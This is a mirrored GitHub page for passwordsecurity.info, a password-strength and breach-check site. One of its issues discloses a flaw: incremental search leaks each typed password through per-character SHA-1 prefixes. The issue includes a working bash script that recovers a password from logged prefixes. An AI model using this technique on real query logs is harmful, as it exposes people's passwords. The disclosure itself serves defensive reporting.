Code Monkey home page Code Monkey logo

passwordsecurity.info's Introduction

passwordsecurity.info

PasswordSecurity.info is a website that helps you create and find good passwords, and suggests modifications you could apply to make them stronger. The site uses the "How Secure Is My Password" open source script and the "Have I Been Pwned" API to check if your password has ever been breached and how long it would take to break it.

This website was originally created to participate in a laptop contest organized by Troy Hunt (@troyhunt).

passwordsecurity.info: https://passwordsecurity.info

Have I Been Pwned: https://haveibeenpwned.com/

passwordsecurity.info's People

Contributors

andrewlane avatar technonerdz avatar vortydev avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

passwordsecurity.info's Issues

Emoji support in passwords

Should support checking of emoji's in passwords if people wanted to use them ๐Ÿ™‚๐Ÿ˜Ž๐Ÿ™ˆ

security issue - incremental search exposes passwords

since incremental search on https://passwordsecurity.info/ starts a new query for each new char, each query is easy to get exploited to determine that one new char. Using knowledge from past/history queries together with the recent query, an attacker could reveal any password typed in for check on that website by merely logging the (unencrypted) queries. Even worse this can get done from logged data as well, no need to first "open a backdoor" or anything (again letting aside HTTPS, which - without PFS https://en.wikipedia.org/wiki/Forward_secrecy which luckily seems established on that website - could get compromised any time in future and reveal all passwords from logs for the past months and years). Still leaves the http server access logs.
Completely defeats the purpose of the SHA hashing and 5char truncation in API

Please disable incremental search immediately

realizing it's not immediately clear to everybody, here an example:
md5 s 03c7c0ace395d80182db07ae2c30f034
md5 sk 41d6ad0761a5d27a9e1bd567041ce9e9
md5 skr 154211326b13dba32f059317703da7ed
md5 skri 624354d6b0d01595488285caba297009
md5 skrit eaef5ef87d9b6c8b497acc64af3fdfcb
03c7 41d6 1542 6243 eaef <- completely describes "skrit"

bash:
spy1(){ shashort(){ sha=$(echo -n "${1}"|sha1sum); echo -n ${sha:0:5}; echo "$1 ${sha:0:5}"&gt;&amp;2; }; for ((i=20; i&lt;126; i++)); do c="$(printf "\x$(printf %x $i)")"; [ "${2}" == "$(shashort ${1}$c)" ] || continue; printf "found:$c\n">&2; printf "$c"; break; done; }
spy(){ pw="${1}"; shift; [ 1 -gt $# ] &amp;&amp; printf "the decoded password is: ${pw}\n\n" && return; sh="${1}"; shift; echo "$# pw:$pw sh:$sh p:$@"; pw+=$(spy1 "${pw}" ${sh}); spy ${pw} "$@"; }
spy "" 86f7e da236 a9993 81fe8 03de6 1f8ac
the decoded password is: abcdef
Screenshot_20190313_161432

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.